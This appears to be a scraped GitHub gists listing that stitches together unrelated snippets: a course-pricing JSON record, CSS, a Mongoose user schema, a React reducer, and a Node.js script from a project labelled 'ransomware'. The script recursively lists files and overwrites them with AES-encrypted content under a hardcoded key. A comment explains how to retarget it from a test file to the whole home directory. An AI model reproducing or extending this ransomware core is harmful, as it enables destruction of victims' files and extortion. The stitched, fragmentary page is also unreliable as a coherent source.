This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
0xDB3498137cb66197f2Ad3Fd38237ea536A9EC42e |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{"CourseCode":"ZACOREACTNA","CourseTitle":"(QAREACTNAT) Introduction to ReactNative","data_level_1":11.00,"data_level_1_tier_1":11.00,"data_level_1_tier_2":13.00,"data_level_1_tier_3":14.00,"data_level_1_tier_4":16.00,"data_level_1_tier_5":18.00,"data_level_1_tier_6":19.00,"data_level_1_tier_7":21.00,"data_level_2":2.0,"data_level_3":7.0,"data_level_4":30.00,"data_tier_1":6.00,"data_tier_2":6.00,"data_tier_3":8.00,"data_tier_4":9.00,"data_tier_5":13.00,"data_tier_6":14.00,"data_tier_7":16.00,"EventText":"Not Applicable","GroupCode":"MOBILDEV","IsDiscountLimitOn":"N","ListPrice":702.00,"OrderBy":1,"Practice":"IT","PracticeCode":"IT","ProtectedAmt":0.00,"PSExtraDiscount":8.00,"TechType":"Performance Plus","TechTypeCode":"PERFPLUS","Vendor":"Internet Technologies","VendorCode":"INTERNET"} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
body { | |
background-color:black; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const schema = mongoose.Schema({ | |
_id: String, | |
firstName: String, | |
lastName: String, | |
username: String, | |
password: String, | |
email: String, | |
profile: Object, | |
games: Array, | |
balance: { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const initial = { | |
firstName: '', | |
lastName: '', | |
info: '' | |
}; | |
function exampleReducer(state, action) { | |
switch (action.type) { | |
case 'update_firstName': | |
return { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const fs = require('fs'); | |
const { resolve } = require('path'); | |
const homedir = require('os').homedir(); | |
const crypto = require('crypto'); | |
const { readdir } = require('fs').promises; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const ENC_KEY = Buffer.from("bf3c199c2470cb477d907b1e0917c17bbf3c199c2470cb477d907b1e0917c17b", "hex"); | |
const IV = Buffer.from("5183666c72eec9e45183666c72eec9e4", "hex"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const encrypt = ((val) => { | |
let cipher = crypto.createCipheriv('aes-256-ctr', ENC_KEY, IV); | |
let encrypted = cipher.update(val, 'utf8', 'base64'); | |
encrypted += cipher.final('base64'); | |
return encrypted; | |
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
async function* getFiles(dir) { | |
const dirEntries = await readdir(dir, { withFileTypes: true }); | |
for (const dirEntry of dirEntries) { | |
const res = resolve(dir, dirEntry.name); | |
if (dirEntry.isDirectory()) { | |
yield* getFiles(res); | |
} else { | |
yield res; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
;(async () => { | |
// Change ../ to homedir to loop through all the changes | |
for await (const f of getFiles('../')) { | |
// this is just a check so that I only encrypt one file. | |
if(f === '/Users/username/Documents/Projects/ransomware/test/test.txt') { | |
const data = fs.readFileSync(f, 'utf8') | |
fs.writeFileSync(f, encrypt(data)) | |
} | |
} | |
})() |
OlderNewer